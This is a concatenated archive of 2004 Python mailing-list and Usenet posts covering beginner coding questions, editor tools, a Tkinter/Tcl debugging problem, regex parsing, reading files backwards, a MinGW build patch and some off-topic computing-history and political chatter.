<t7mjhc.ubd.ln@via.reistad.priv.no> Message-ID: <20040907192121.61dbf949.steveo@eircom.net> On Tue, 07 Sep 2004 07:00:23 GMT Morten Reistad <firstname at lastname.pr1v.n0> wrote: > Since I am on a roll with timelines; just one off the top of my head : > > Project start : 1964 > First link : 1969 > Transatlantic : 1972 (to Britain and Norway) > Congested : 1976 > TCP/IP : 1983 (the effort started 1979) (sort of a 2.0 version) > First ISP : 1983 (uunet, EUnet followed next year) > Nework Separation : 1983 (milnet broke out) > Large-scale design: 1987 (NSFnet, but still only T3/T1's) > Fully commercial : 1991 (WIth the "CIX War") > Web launced : 1992 > Web got momentum : 1994 > Dotcom bubble : 1999 (but it provided enough bandwith for the first time) > Dotcom burst : 2001 One thing I always found amusing is the amount of science *fiction* written in the first half of this period about what would happen if the worlds computers became linked together. -- C:>WIN | Directable Mirror Arrays The computer obeys and wins. | A better way to focus the sun You lose and Bill collects. | licences available see | http://www.sohara.org/ From opengeometry at yahoo.ca Wed Sep 8 02:11:07 2004 From: opengeometry at yahoo.ca (William Park) Date: 8 Sep 2004 06:11:07 GMT Subject: Remove items from a list References: <ysv%c.32876$Dl4.14767@fe2.texas.rr.com> <KOv%c.104$GRm.52@news04.bloor.is.net.cable.rogers.com> <yWv%c.33126$Dl4.19812@fe2.texas.rr.com> <wzw%c.14064$It2.9861@fe2.texas.rr.com> Message-ID: <2q7m3qFrkbvvU1@uni-berlin.de> Paul McGuire <ptmcg at austin.rr._bogus_.com> wrote: > "Stan Cook" <scook at elp.rr.com> wrote in message > news:yWv%c.33126$Dl4.19812 at fe2.texas.rr.com... > > Yes, I used the listdir. The list is a list of files in the > > directory. I want to filter everything out but the ".dbf" > > files. > > > > You said the answer yourself - "I want to _filter_ everything out but > the ".dbf" files." > > Use filter built-in, and use str's endswith() method in place of [-4:] > list slicing. > > dirlist = [ "a.txt", "b.txt", "c.dbf", "d.txt", "e.dbf" ] > isdbf = lambda x : x.endswith(".dbf") > print filter( isdbf, dirlist ) > > gives: > > ['c.dbf', 'e.dbf'] Off topic... but if OP is interested in shell solution comparable to above, then there are two I can offer: dirlist=( a.txt b.txt c.dbf d.txt e.dbf ) 1. echo ${dirlist[*]|/*.dbf} 2. func () { [[ $1 == *.dbf ]] } arrayfilter func dirlist 3. for i in ${dirlist[*]}; do [[ $1 == *.dbf ]] && echo $i done The first is shell version of Python's list comprehension, the second is shell version of Python's filter(), and the third is standard loop solution. Ref: http://freshmeat.net/projects/bashdiff/ help '${var|' help arrayfilter -- William Park <opengeometry at yahoo.ca> Open Geometry Consulting, Toronto, Canada From indigo at bitglue.com Fri Sep 3 17:52:54 2004 From: indigo at bitglue.com (Phil Frost) Date: Fri, 3 Sep 2004 17:52:54 -0400 Subject: How to actually write a program? In-Reply-To: <chano0$1gv$1@sparta.btinternet.com> References: <chano0$1gv$1@sparta.btinternet.com> Message-ID: <20040903215254.GA13422@unununium.org> How does a composer write a song? He might know the overall sound of the song, so he might start by playing it on a piano. Then he might work on the strings part, and a general chord progression. Then add some woodwinds, building the song piece by piece until all the small parts are assembled to a greater whole. Writing a program is no different. You must first break your song in to parts. It's a highly creative process, and it's not something that can be taught. Find yourself a nice, quiet room, and a time when you arn't distracted by anything. Think of the greater problem and try to divide it into smaller pieces. This division is the hardest part of programming; expressing the ideas in code becomes as natural as speech with practice. After some reflection your path should become clear. On Fri, Sep 03, 2004 at 09:29:36PM +0000, Nick Evans wrote: > Hello there, > I have been on and off learning to code (with python being the second > language I have worked on after a bit of BASIC). What I really want to know > is, if you are going to actually write a program or a project of some sort, > how do you actually start. > > Picture this, you know what you want the program to do (its features), you > have a possably rough idea of how the program will work. You have opened an > empty text file and saved it as 'mykewlprogram.py' and now your sitting in > front of an empty text file... Now then.... where do I start. > > Any ideas about this problem :-) > > Ta > Nick From javier_ruere at HotPOP.com Thu Sep 30 07:56:14 2004 From: javier_ruere at HotPOP.com (Javier Ruere) Date: Thu, 30 Sep 2004 08:56:14 -0300 Subject: Quiero empezar con python pero quisiera saber... In-Reply-To: <BAY10-DAV24p20N39x600000f25@hotmail.com> References: <BAY10-DAV24p20N39x600000f25@hotmail.com> Message-ID: <415BF45E.2060407@HotPOP.com> Empresa NewMinds wrote: > objetiva si con python puedo encontrar la misma robutez la misma > sencillez que tiene un lenguaje como por ejemplo java. si puedo Con respecto al lenguaje en si, en mi opini?n, Python es m?s sencillo que Java. No se a que te refer?s con robustes. Que no falle el int?rprete? Nunca me fall? en los 2 a?os que lo vengo usando. > encontrar la misma velocidad y rendimiento en cuanto interfaces como > visual basic. quisiera saber como es el manejo de bases de datos facil??? Hay muchas interfaces. Tendr?as que ver cual te gusta m?s. WxPython me gust? mucho y con Boa Constructor es muy sencillo realizar GUIs aunque personalmente prefiero wxGlade ya que me permite separar mejor el c?digo de la interfaz gr?fica del resto del programa. El manejo de bases de datos es muy bueno pero wxPython por lo menos no tiene controles que se puedan relacionar con la base de datos directamente como se podr?a hacer en VB. > python tiene algun programa que haga reportes como el JasperReport para > java??? No conozco esa aplicaci?n. > Algun dise?ador de interfaz???? Python usa punteros????? Boa Constructor, PythonCard, wxGlade y seguramente varios m?s. Saludos, Javier From zanesdad at bellsouth.net Fri Sep 24 09:33:36 2004 From: zanesdad at bellsouth.net (Jeremy Jones) Date: Fri, 24 Sep 2004 09:33:36 -0400 Subject: theme of the week: tools In-Reply-To: <QcudnRef363plc7cRVn-vg@powergate.ca> References: <mailman.3802.1095960335.5135.python-list@python.org> <QcudnRef363plc7cRVn-vg@powergate.ca> Message-ID: <41542230.3070808@bellsouth.net> Since a recurring theme this week has been tools, or Python's _obvious_ lack of good tools ;-) (which isn't so obvious to some of us) , it's got me wondering. What tools do Python developers use and consider indispensable to helping them write code better* - and what features of those tools would you have a hard time living without? (I hope I'm not going to start a holy war between hardcore Vi and Emacs folks here...) Personally, I use vim/gvim as my primary editor. Features I would have a hard time living without are (and I know that a lot of these are available on most decent editors): * split window editing * powerful search and replace that is simple to use * column editing * multiple position marking and instant navigation back to any marked position * auto-indent * indent/unindent highlighted code * key mappings - this is one of the biggest reasons I continue to use vim. While the key mappings are counterintuitive to learn (why would you type a "k" to go up, "j" to go down, etc), once you get it, it's just so natural and doesn't feel like you're contorting your hands to do stuff. I've tried several times to like emacs, but every time I do, the key bindings just feel abnormal (C-<anything> is typically OK - but M-<anything> just feels weird...feels like my fingers are stumbling over one another....). And, yes, I've tried vi mode and viper. * easy highlighting of text * easy copy and past * multiple registers (clipboards kinda) for storing text * repeat last modification (.) * map command for creating macros * bracket matching (with %) * probably tons more..... Another tool that I use that I just started using but I'm finding indispensable is IPython. Features: * tab completion - this is probably the hugest benefit. * executes (some? all?) OS commands without having the exit out - tab completion works on filesystem paths here * probably more....but I'm still digging into this Other "tools": * Python debugger (pdb) * PyChecker * Epydoc * Google * Python Site - library reference * C.L.P That's all I can think of for now.... Jeremy Jones *better = more productive, higher quality, easier maintainability, easier refactoring, etc. -------------- next part -------------- An HTML attachment was scrubbed... URL: <http://mail.python.org/pipermail/python-list/attachments/20040924/62831dbf/attachment.html> From ksenia at ksenia.nl Sun Sep 26 13:49:41 2004 From: ksenia at ksenia.nl (Ksenia Marasanova) Date: Sun, 26 Sep 2004 19:49:41 +0200 Subject: convert flat structure into hierarchical one Message-ID: <719604C6-0FE4-11D9-8AD4-000A957911BC@ksenia.nl> I get this kind of list from a database. (The tuple structure is: id, name, parent_id) [(1, 'grandparent', None), (2, 'parent', 1), (3, 'otherparent', 1), (4, 'child', 3)] I would like to transfer it (in Python) into a tree structure. I don't care much about format, as long as I'll be able to get all the information, based on one id. For example, if I have id=3, I want to get - name ('otherparent') - children (one child, with id=4, name='child') - parent id Any tips? Recipes? ;-) Thanks, Ksenia. From padmaja at agere.com Thu Sep 16 08:01:08 2004 From: padmaja at agere.com (Jayanthi, Satya Padmaja (Satya Padmaja)) Date: Thu, 16 Sep 2004 17:31:08 +0530 Subject: "Debug Assertion Failed!" - TCL-Python_hardware... Message-ID: <DFCB7C708B1AA94FABFBF6E1F7E984542E6E1C@iiex2ku01.agere.com> Hi : I am facing with the following problem. Can anyone please give me some ideas on how to solve it ? I have a hardware, which can be controlled using TCL commands. I am writing a python script which calls the relavant TCL commands and in turn controls the hardware. I am using Tkinter as an interface to the Python and TCL scripts. The python script runs very well, without any problem. But, at the end of the run, a window pops up with an error message. The message is as follows: "Debug Assertion Failed !!! Program : F\Python23\python.exe File : dbgheap.c Line : 1044 Expression : _CrtIsValidHeapPointer(pUserData)..." My Python script looks something like this : import Tkinter root = Tkinter.Tk() root.tk.eval('source tcl_file.tcl') userName = 'abc' root.tk.eval('Init_hardware %s' %(userName)) My TCL functions : proc Init_hardware {userName} { load "hardware_name.dll" hardware_name_pkg # This line actually initializes the hardware hardware_name init -user userName } Any ideas will be highly appreciated. Thanks in advance. -------------- next part -------------- An HTML attachment was scrubbed... URL: <http://mail.python.org/pipermail/python-list/attachments/20040916/aeb50e78/attachment.html> From askari at addressNonValide.com Sun Sep 19 08:34:36 2004 From: askari at addressNonValide.com (Askari) Date: Sun, 19 Sep 2004 12:34:36 GMT Subject: sys.setdefaultencoding(name) References: <Xns9568641F5C869askariaddressNonVali@207.35.177.135> <Xns9568A73F4BFF9cpl19ghumspamgourmet@195.20.224.116> Message-ID: <Xns956957916F419askariaddressNonVali@207.35.177.135> Harald Massa <cpl.19.ghum at spamgourmet.com> wrote in news:Xns9568A73F4BFF9cpl19ghumspamgourmet at 195.20.224.116: > My solution is to grab site.py, dig up "default encoding" and change > from imperalistic ASCII to LATIN-1. euh... I try (the line #2 and #3 in my ".py"): """ import site site.encoding = "latin_1" """ but I have this error when I modify a widget (with keyboard) I have this error : """ UnicodeDecodeError: 'ascii' codec can't decode byte 0xc9 in position 0: ordinal not in range(128) """ Why? And, I do the good think? (site.encoding = "latin_1") Askari From guettli at thomas-guettler.de Fri Sep 17 05:16:38 2004 From: guettli at thomas-guettler.de (Thomas Guettler) Date: Fri, 17 Sep 2004 11:16:38 +0200 Subject: How to go about developing in zope References: <4c900ea0.0409160754.2158e732@posting.google.com> Message-ID: <pan.2004.09.17.09.16.38.671342@thomas-guettler.de> Am Thu, 16 Sep 2004 08:54:16 -0700 schrieb john: > Hi > I am developing a timesheet system. > It will have 3 levels of access > 1)Administrator > 2)Approver -- Will approve or reject the timesheet filled by employees > 3)Employees -- Fill in the timesheet which will ontain info like start > time & end for task & task description. > There will be different projects with different employees & approvers > Also I need to genrate reports like timesheet for an employee for this > particular week or month.Or timesheet of a project etc.. > > Is zope suitable for such kind of application? > I read the zope book & now I am more confused. Hi, You can use ZODB without Zope, too. I use quixote and ZODB with some small parts from dulcinea (method start_request). I switched to this after using zope for more than one year. This is much simpler to debug than Zope. HTH, Thomas From jmfbahciv at aol.com Thu Sep 2 07:49:43 2004 From: jmfbahciv at aol.com (jmfbahciv at aol.com) Date: Thu, 02 Sep 04 11:49:43 GMT Subject: Xah Lee's Unixism References: <7fe97cc4.0408251356.34f2102a@posting.google.com> <4134a207$0$65568$a1866201@newsreader.visi.com> <j-OdnS-Q8aADqKjcRVn-tQ@speakeasy.net> <4135ce4a$0$19726$61fed72c@news.rcn.com> <ApudnfQdCY-dfavcRVn-pQ@speakeasy.net> Message-ID: <41371ba4$0$19723$61fed72c@news.rcn.com> In article <ApudnfQdCY-dfavcRVn-pQ at speakeasy.net>, rpw3 at rpw3.org (Rob Warnock) wrote: ><jmfbahciv at aol.com> wrote: >+--------------- >| rpw3 at rpw3.org (Rob Warnock) wrote: >| >| Consider the "PIP" command. >| >+--------------- >| > >| >Indeed. And COPY & DEL & DIR, etc. >| >| Well, not quite :-). COPY and DELETE called PIP via a CCL >| command. DIRECT became its own program. To do a directory >| using PIP required a switch and wasn't a monitor level command. >+--------------- > >Yes, I knew that. What I was trying to convey is that the *names* >of those DOS commands had also been copied from the DEC lineages. >That is, COPY/DEL/DIR rather than cp/rm/ls. IIRC, those verbs didn't show up until after 4S72 of TOPS-10 (it wasn't TOPS-10 back then either). I would also suspect that the PIP didn't originate at DEC either. A lot of those guys did work at MIT before they coalasced into a startup company. My whole point is that attributing who started it is not as interesting as how the "it" flowed through the biz. /BAH Subtract a hundred and four for e-mail. From squirrel at WPI.EDU Wed Sep 1 11:54:41 2004 From: squirrel at WPI.EDU (Christopher T King) Date: Wed, 1 Sep 2004 11:54:41 -0400 Subject: I've seen things you people wouldn't believe... ;-) (was Re: age of Python programmers) In-Reply-To: <896dnZfdH8-l1rbcRVn-qw@powergate.ca> References: <20040819231139.D039A1E4003@bag.python.org> <mailman.1999.1092969866.5135.python-list@python.org> <eyqWc.223375$j62.10948731@phobos.telenet-ops.be> <qVAWc.2328$MR2.9560@news1.mts.net> <njemi0hrm3jb1kdc8mhg8krd9a4qu3e894@4ax.com> <896dnZfdH8-l1rbcRVn-qw@powergate.ca> Message-ID: <Pine.LNX.4.44.0409011131230.23334-100000@ccc4.wpi.edu> On Tue, 24 Aug 2004, Peter Hansen wrote: > Andrea Griffini wrote: > > I've seen things you people wouldn't believe... ;-) > > I think many of us would believe it. We've been there. Agreed. > How many could post stories of companies without > any form of revision control, except perhaps those > printouts in Winnifred's bottom drawer from last year? I certainly could. > Or people who resorted to print statements during Hey, print statements are a perfectly valid form of debugging! :) If you want a story though, I interned at a Windows shop these past two summers, where all their programming was done in VB embedded in Word documents, or in a third-party supplied castrated version of VB (on the PC side, that is; they still use COBOL on their mainframes). They had this one script (a VB program in a Word document) whose sole purpose was to watch some directories and upload files placed there to an FTP server, possibly mangling CSV files into Excel or Word format. This thing was a 1000-line-long beast which took forever to run and wasn't very reliable. My job was to maintain it. For some reason I had made my changes under a different username than that which was used to run it. For about a week, we couldn't figure out why none of my changes were taking effect. We finally discovered that the Word document didn't actually contain any code: rather, all the code was kept in the standard document template, and was executed when opening any Word document. One of the first things the script did was to check if the name of the file that was opened was the one that we had assumed contained the script, and only executed the rest of the code if this was true. Since each user has their own document template file, this explained our problem. Fed up with the beast, I promptly rewrote the thing in Perl (which is what they had technically hired me for); it was 1/10 the size and 10x faster (literally!), but no-one would hear anything of it (despite repeated explanations that It Really Worked! and Yes, You Really Do Have Perl Installed On Your Network Drive!). But now that's just getting way off-topic :P From fernandoSPAM.YOURSELF at fernando-rodriguez.com Sat Sep 4 11:02:45 2004 From: fernandoSPAM.YOURSELF at fernando-rodriguez.com (Fernando Rodríguez) Date: Sat, 04 Sep 2004 17:02:45 +0200 Subject: Stepping through a multithreaded program Message-ID: <k3mjj0dv2tc5ee7e2aqpls1p0dv6idu68m@4ax.com> Hi, I was trying to step through a first attemp of multithreaded script (see below), with PythonWin, but I'm gettign a very strange error: --------------------------------------------------------------------------------- import threading times = 100 delay = 10000 class egoistThread(threading.Thread): def __init__(self, id, times, delay): threading.Thread.__init__(self) self.id = id self.times = times self.delay = delay def run(self): for i in xrange(self.times): print self.id, for j in xrange(self.delay): pass egoists = [] for elt in 'abc': egoists.append(egoistThread(elt, times, delay)) """ When I reach this point, I get a weird error see below """ for ego in egoists: ego.start() for ego in egoists: ego.join() ------------------------------------------------------------------------------ The error is: Traceback (most recent call last): File "C:\ARCHIV~1\python23\lib\site-packages\Pythonwin\pywin\framework\dbgcommands.py", line 65, in OnStepOver self._DoOrStart("do_set_next", scriptutils.RS_DEBUGGER_STEP) File "C:\ARCHIV~1\python23\lib\site-packages\Pythonwin\pywin\framework\dbgcommands.py", line 57, in _DoOrStart method() File "C:\ARCHIV~1\python23\lib\site-packages\Pythonwin\pywin\debugger\debugger.py", line 629, in do_set_next if self.GUIAboutToRun(): File "C:\ARCHIV~1\python23\lib\site-packages\Pythonwin\pywin\debugger\debugger.py", line 788, in GUIAboutToRun if not self.StopDebuggerPump(): File "C:\ARCHIV~1\python23\lib\site-packages\Pythonwin\pywin\debugger\debugger.py", line 484, in StopDebuggerPump assert self.pumping, "Can't stop the debugger pump if Im not pumping!" AssertionError: Can't stop the debugger pump if Im not pumping! Any ideas? O:-) From opengeometry at yahoo.ca Fri Sep 10 10:53:32 2004 From: opengeometry at yahoo.ca (William Park) Date: 10 Sep 2004 14:53:32 GMT Subject: Using re to get data from text file References: <pan.2004.09.10.14.29.26.175980@yahoo.com> Message-ID: <2qdtfbFto5rlU1@uni-berlin.de> Jocknerd <jocknerd1 at yahoo.com> wrote: > I'm a Python newbie and I'm having trouble with Regular Expressions when > reading in a text file. Here is a sample layout of the input file: > > 09/04/2004 Virginia 44 Temple 14 > 09/04/2004 LSU 22 Oregon State 21 > 09/09/2004 Troy State 24 Missouri 14 > > As you can see, the text file contains a list of games. Each game has a > date, a winning team, the winning team's score, the losing team, and the > losing team's score. If I set up my program to import the data with fixed > length format's its no problem. But some of my text files have different > layouts. For instance, some only have one space between a team name and > their score. > > Here's how I read in the file using fixed length fields: > > filename = sys.argv[1] > file = open (filename, 'r') > > schedule = [] # make a list called schedule > > while True: > line = file.readline() > if not line: break > game = {} # make a dictionary called game > game['date'] = line[0:10] # fixed length field > game['team1'] = string.strip (line[12:40]) > game['score1'] = line[40:42] > game['team2'] = string.strip (line[44:72]) > game['score2'] = line[72:74] > schedule.append(game) > > file.close() > > Note: I'm stripping whitespace from the team names because I don't want > the team name to actually be a fixed length. > > How would I set this up to read in the data using Regular expressions? > > I've tried this: > > while True: > line = file.readline () > if not line: break > game = {} > datePattern = re.compile('^(\d{2})\D+(\d{2})\D+(\d{4})') > > Here's where I get stuck. What do I do from here? I just don't know how > to import the text and assign it to the proper fields using the re module. Your format is a bit complicated since team's name can be variable words. But, I'm assuming that they don't have any digit as part of their name. So, use '\d+' to separate the fields. Eg. re.split ('\d+', line) re.split ('(\d+)', line) re.split ('(\d+)', line[10:]) -- William Park <opengeometry at yahoo.ca> Open Geometry Consulting, Toronto, Canada From wjjeonk at hotmail.com Thu Sep 30 16:31:29 2004 From: wjjeonk at hotmail.com (Jay) Date: Thu, 30 Sep 2004 16:31:29 -0400 Subject: Reading a text file backwards Message-ID: <cjhqf2$9l1$1@news-int.gatech.edu> I have a very large text file (being read by a CGI script on a web server), and I get memory errors when I try to read the whole file into a list of strings. The problem is, I want to read the file backwards, starting with the last line. Previously, I did: myfile = open('myfile.txt', 'r') mylines = myfile.readlines() myfile.close() for line in range(len(mylines)-1, -1, -1): # do something with mylines[line] This, however caused a "MemoryError," so I want to do something like myfile = open('myfile.txt', 'r') for line in myfile: # do something with line myfile.close() Only, I want to iterate backwards, starting with the last line of the file. Can anybody suggest a simple way of doing this? Do I need to jump around with myfile.seek() and use myfile.readline() ? From newsgroups at jhrothjr.com Tue Sep 28 18:43:53 2004 From: newsgroups at jhrothjr.com (John Roth) Date: Tue, 28 Sep 2004 17:43:53 -0500 Subject: Python 2.4b1 release date? References: <87is9ykt9c.fsf@pobox.com> Message-ID: <10ljq9af7ge81d0@news.supernews.com> "John J. Lee" <jjl at pobox.com> wrote in message news:87is9ykt9c.fsf at pobox.com... > Anybody know when 2.4b1 is currently planned for release? > > I'm sure I saw somebody in python-dev mention a date, but I can't find > that post now. Look at PEP 320, which is the 2.4 release schedule. It currently says October 12. John Roth > > > John From chrisks at NOSPAM.udel.edu Wed Sep 1 15:43:13 2004 From: chrisks at NOSPAM.udel.edu (Chris S.) Date: Wed, 01 Sep 2004 19:43:13 GMT Subject: Debunking Art - fraudster with python AI engine? References: <4128f60b$1@news.unimelb.edu.au> <4133ff91$1@news.unimelb.edu.au> <4135567e$1@news.unimelb.edu.au> Message-ID: <4136264b$1@news.unimelb.edu.au> Nick wrote: > Well, if I were using a cryptographic library, I wouldn't dare claim I > were a cryptographer. I may say that I had written an application that > uses a third party cryptographic component... I think in this context > he is using the fact that the chances of a technical person > questioning his work are extremely slim. Did he claim to be an AI expert? From the description you gave of the "engine", it would seem little or no AI study would be necessary for such a trivial implementation. Either way, lying or not, such a setup is unlikely to do him any good in the long run. If anything, you should have had a little fun with him and questioned him thoroughly, trying to trip him up if he was indeed faking. [ comp.ai is moderated. To submit, just post and be patient, or if ] [ that fails mail your article to <comp-ai at moderators.isc.org>, and ] [ ask your news administrator to fix the problems with your system. ] From jmfbahciv at aol.com Wed Sep 8 07:45:05 2004 From: jmfbahciv at aol.com (jmfbahciv at aol.com) Date: Wed, 08 Sep 04 11:45:05 GMT Subject: Xah Lee's Unixism References: <YLednXSn7obciqrcRVn-og@powergate.ca> <41376B82.C6A202FC@yahoo.com> <P5GdnU8q-8Sw66rcRVn-qg@powergate.ca> <0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com> <ur7pks59p.fsf@mail.comcast.net> <8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net> <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <u8ybrrzqd.fsf@mail.comcast.net> <ruehj05n8i2afsgnk9frq9bp98n520jl55@4ax.com> <uzn47qezk.fsf@mail.comcast.net> <rbnhj01438rv46f2op40gsdkcvfh7u6sgo@4ax.com> <4139561C.F52D4E4@yahoo.com> <10srj09tdkvim71i677g7eh7b2nk1qkmfm@4ax.com> Message-ID: <413f03cc$0$6914$61fed72c@news.rcn.com> In article <10srj09tdkvim71i677g7eh7b2nk1qkmfm at 4ax.com>, Alan Balmer <albalmer at att.net> wrote: >On Sat, 04 Sep 2004 06:02:03 GMT, CBFalconer <cbfalconer at yahoo.com> >wrote: > >>Alan Balmer wrote: >>> >>... snip ... >>> >>> I'm not a fan of Mr Hatch, but blaming him for the shuttle >>> disaster(s) is somewhat over the top. Why not blame President >>> Bush? That's the popular thing nowadays. >> >>Alright, if you insist. But is it really necessary? We can find >>adequate charges without reaching very hard. > >Then why are so many people reaching so hard? It's apparently having the desired effect. The subject of the radio talk show last night was about the results of a poll where 41% of the people asked (New York state residents) believed that Bush and Co. knew that the WTC was going to be attacked and did nothing to prevent it. The Bush-bashing is working. The Democrats are opening the city gates to the barbarians. /BAH From martin at v.loewis.de Sat Sep 4 07:35:29 2004 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Sat, 04 Sep 2004 13:35:29 +0200 Subject: Method returning new instance of class? In-Reply-To: <4Jh_c.4378$Wv5.950@newsread3.news.atl.earthlink.net> References: <4Jh_c.4378$Wv5.950@newsread3.news.atl.earthlink.net> Message-ID: <4139a87a$0$30204$9b622d9e@news.freenet.de> Arthur wrote: > Essentially I am trying to create a non-destructive tranformation of an > instance of a class - is one way of putting it. > > The way I am currently conceptualizing a solution, what I need is a method > of the class that returns a new instance of the class. So you want a copy of the object. I'd use copy.copy for this, perhaps copy.deepcopy. Regards, Martin From aleaxit at yahoo.com Mon Sep 20 10:39:19 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Mon, 20 Sep 2004 16:39:19 +0200 Subject: Inheritance question References: <eaB3d.12433$pA.483376@news20.bellglobal.com> Message-ID: <1gkf7az.dsd2o51wv1u3mN%aleaxit@yahoo.com> Yannick Turgeon <nobody at nowhere.com> wrote: > class A: > _value > __init__(self, value): > self._value = value > if value > 10: > set myself as an instance of B1 # How can I do that? self.__class__ = B1 Whether you WANT to do that is quite another issue: you most likely don't, though you wrongly believe you do. Use a factory-function pattern if you want to generate different possible classes, don't use black magic such as changing an instance's class on the fly unless there are _really good_ reasons (an example of a really good reason, IMHO, is given by a recipe in the Cookbook that presents a bounded-ring-buffer class... its instances commute from NotFull to Full classes once and for all when they switch from non-full to full, NOT at instance generation time...). Alex From ialbert at mailblocks.com Fri Sep 10 08:40:32 2004 From: ialbert at mailblocks.com (Istvan Albert) Date: Fri, 10 Sep 2004 08:40:32 -0400 Subject: Electronic voting feasibility In-Reply-To: <chr77a$4gj@odak26.prod.google.com> References: <chr77a$4gj@odak26.prod.google.com> Message-ID: <-_CdnSvxZtZcPdzcRVn-iw@giganews.com> Greg Steffensen wrote: > I'd like the internet voting > component to be close to the real deal Like surrounded by negative advertising, mindless exaggerations and populist lies? Istvan From carribeiro at gmail.com Mon Sep 13 15:35:39 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Mon, 13 Sep 2004 16:35:39 -0300 Subject: Annotatable Python docs -- now a reality !!! In-Reply-To: <1001ff04.0409131100.385d6fc1@posting.google.com> References: <b16e4ef7.0409130445.294ced1f@posting.google.com> <1001ff04.0409131100.385d6fc1@posting.google.com> Message-ID: <864d3709040913123541393453@mail.gmail.com> On 13 Sep 2004 12:00:11 -0700, Bob <bobx at linuxmail.org> wrote: > Why not convert them to a wiki format? That would be a good and clean way to do it. In my not-so-humble opinion, the *best* way to solve it would be a custom Wiki-like implementation, where the docs would stay as they are (unedited) with comments attached to the text. I have imagined it like this: -- add some "anchors" to the documentation, using a visual indicator. (for example, at the start of every subsection or even paragraph; the anchor could aligned to the left margin without cluttering the format). -- clicking on the anchor allows one to collapse/expand the annotations for that section. -- once expanded, it would be possible to write an a new annotation just by writing it with Wiki-style markup. To make things complete, the Wiki-style markup would allow for links to the documentation using a simple syntax; for example, [[Library/strings]] would point to the documentation chapter for the strings standard library. This would make navigation pretty easy. But in retrospect, I think that AMD did the right thing. I could be talking about it for days to end, but he did implement his version, and made it available, and that's what count -- actual running code. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From abkhd at earth.co.jp Mon Sep 20 13:09:48 2004 From: abkhd at earth.co.jp (A. B., Khalid) Date: 20 Sep 2004 10:09:48 -0700 Subject: Fixed: pyMinGW patched Python compiles in MinGW & passes regrtests Message-ID: <8ad8ad0a.0409200909.545f257@posting.google.com> Hello all. This is to inform those interested in getting Python to compile in MinGW that the pyMinGW patch is now able to help compile both Python 2.3.4 Final and Python 2.4a3 and the resulting MinGW Python passes the regrtests as follows. #----------------------------------------- # Python 2.3.4 Final: #----------------------------------------- $ python -i Python 2.3.4 (#53, Sep 19 2004, 03:47:39) [GCC 3.2 (mingw special 20020817-1)] on win32 Type "help", "copyright", "credits" or "license" for more information. >>> import sys >>> sys.winver '2.3' >>> raise SystemExit #----------------------------------------- # Python 2.3.4 Final: regrtests #----------------------------------------- $ python -i ../Lib/test/regrtest.py -unetwork [CUT] 215 tests OK. 40 tests skipped: test_aepack test_al test_bsddb185 test_bsddb3 test_cd test_cl test_commands test_crypt test_curses test_dbm test_dl test_email_codecs test_fcntl test_fork1 test_gdbm test_gl test_grp test_imgfile test_ioctl test_largefile test_linuxaudiodev test_macfs test_macostools test_mhlib test_mpz test_nis test_normalization test_openpty test_ossaudiodev test_pep277 test_plistlib test_poll test_posix test_pty test_pwd test_resource test_scriptpackages test_signal test_sunaudiodev test_timing Those skips are all expected on win32. D:\PYTHON23\lib\test\test_format.py:19: FutureWarning: %u/%o/%x/%X of negative int will return a signed string in Python 2.4 and up result = formatstr % args #----------------------------------------- # Python 2.4a3: #----------------------------------------- $ python -i Python 2.4a3 (#56, Sep 19 2004, 04:37:06) [GCC 3.2 (mingw special 20020817-1)] on win32 Type "help", "copyright", "credits" or "license" for more information. >>> import sys >>> sys.winver '2.4' >>> raise SystemExit #----------------------------------------- # Python 2.4a3: regrtests #----------------------------------------- $ python -i ../lib/test/regrtest.py -unetwork [CUT] 242 tests OK. 46 tests skipped: test__locale test_aepack test_al test_applesingle test_bsddb185 test_bsddb3 test_cd test_cl test_codecmaps_cn test_codecmaps_hk test_codecmaps_jp test_codecmaps_kr test_codecmaps_tw test_commands test_crypt test_curses test_dbm test_dl test_fcntl test_fork1 test_gdbm test_gl test_grp test_imgfile test_ioctl test_largefile test_linuxaudiodev test_macfs test_macostools test_mhlib test_nis test_normalization test_openpty test_ossaudiodev test_pep277 test_plistlib test_poll test_posix test_pty test_pwd test_resource test_scriptpackages test_signal test_sunaudiodev test_threadsignals test_timing Those skips are all expected on win32. No handlers could be found for logger "cookielib" Get pyMinGW from here: http://jove.prohosting.com/iwave/ipython/pyMinGW.html Regards Khalid -- Q. The purpose of life? [A]: "I created the jinn and humankind only that they might worship Me." (Translation, Qur'an, 51:56) [B]: "Let us hear the conclusion of the whole matter: Fear God, and keep his commandments: for this is the whole duty of man." (KJV, Ecclesiastes 12:13) From aleaxit at yahoo.com Mon Sep 6 17:16:06 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Mon, 6 Sep 2004 23:16:06 +0200 Subject: Problems with dict and C API References: <413C39F5.3040200@email.si> Message-ID: <1gjps70.13wrslf1onzu0wN%aleaxit@yahoo.com> Matjaz <surfmatj at email.si> wrote: > Dear all, > > I have trouble with creating objects with Python C API, > subclassed from dict type. What I am trying to do is to > subclass a dict class (in Python) and create its instance > in a Python extension (C API). PyIntance_New wants specifically an old-style class as its first argument, and you're not giving that in the latter case (a subclass of dict is intrinsically new-style) so it's diagnosing that and raising the exception you see. Just use PyObject_Call and you should be fine. More generally, use abstract-object-layer API calls unless you've got very specific reasons to use something lower-level (concrete layer) -- 90%+ of the time you'll be far happied with the AOL calls. BTW, to get sys.modules, I suggest you use PyImport_GetModuleDict() rather than PySys_GetObject("modules") -- it's slightly more direct. Alex From john.thingstad at chello.no Thu Sep 2 19:46:57 2004 From: john.thingstad at chello.no (John Thingstad) Date: Fri, 03 Sep 2004 01:46:57 +0200 Subject: Xah Lee's Unixism References: <41337FC9.8070902@hotmail.com> <slrncj7hhh.2pt.amajorel@atc5.vermine.org> <p7v7j0plcfbden593l1irfprmfkp4d3k51@4ax.com> <slrncj8m5n.2pt.amajorel@atc5.vermine.org> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com> <opsdpdzglzpqzri1@mjolner.upc.no> <slrncjep0f.oa.amajorel@vulcain.knox.com> <opsdpprvxppqzri1@mjolner.upc.no> 